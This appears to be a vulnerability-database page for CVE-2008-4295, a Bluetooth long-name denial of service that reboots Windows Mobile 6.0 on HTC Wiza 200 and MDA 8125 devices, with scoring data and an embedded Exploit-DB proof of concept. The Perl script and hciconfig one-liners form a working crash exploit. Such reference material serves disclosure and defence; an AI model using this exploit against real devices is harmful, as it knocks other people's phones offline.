CVE-2008-4295
Notifications for a CVE
Stay informed of any changes for a specific CVE.
CVE Descriptions
Microsoft Windows Mobile 6.0 on HTC Wiza 200 and HTC MDA 8125 devices does not properly handle the first attempt to establish a Bluetooth connection to a peer with a long name, which allows remote attackers to cause a denial of service (device reboot) by configuring a Bluetooth device with a long hci name and (1) connecting directly to the Windows Mobile system or (2) waiting for the Windows Mobile system to scan for nearby devices.
CVE Informations
Related Weaknesses
| Weakness Name | Source | |
|---|---|---|
| Improper Input Validation The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. |
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 5.4 | AV:N/AC:H/Au:N/C:N/I:N/A:C | nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 6582
Publication date : 2008-09-25 22h00 +00:00
Author : Julien Bedard
EDB Verified : Yes
#!/usr/bin/perl
#
# ----------WM6 remote overflow reboot PoC----------
# Simple exploit for remote rebooting a windows mobile device
# Maybe we can use it for doing command execution,
# I've not test it since the device is rebooting and do not dump a core
# for further analysing.
#
# The bug is not realy in the long string name but when it's the first
# time the wm6 device try to get a connection with too long name.
#
# There's two way to exploit this bug, this PoC show the first method
# (direct connect to the device if we know the bdaddr) but you can
# just wait for the device to search and overflow by itself when
# seeing the hci name:
# hciconfig <hci dev> name `perl -e 'print "A"x90000'`
# hciconfig <hci dev> piscan
# You just have to wait until the wm device search for bluetooth devices
# in range and it will be overflowed
#
# *Tested on WM6 fully patched on [HTC wiza 200],[HTC Mda 8125]
# (by Julien Bedard)
#
use Net::Bluetooth;
$target=$ARGV[0];
$hci_dev=$ARGV[1];
$overflow="A" x 90000;
$rfcomm_port="3";
if (@ARGV < 2)
{
die "Usage:\n ./wm6_dos.pl <target_mac> <hci_device>\n\n";
}
# change this lame cmd ???
system("hciconfig $hci_dev name $overflow");
$over_conn = Net::Bluetooth->newsocket("RFCOMM");
print "socket error $!\n" unless(defined($over_conn));
$over_conn->connect($target, $rfcomm_port);
# milw0rm.com [2008-09-26]
Products Mentioned
Configuraton 0
Microsoft>>Windows_mobile >> Version 6.0
- Microsoft>>Windows_mobile >> Version 6.0 (Open CPE detail)
- Microsoft>>Windows_mobile >> Version 6.0 (Open CPE detail)
- Microsoft>>Windows_mobile >> Version 6.0 (Open CPE detail)
Htc>>Mda >> Version 8125
Htc>>Wiza >> Version 200
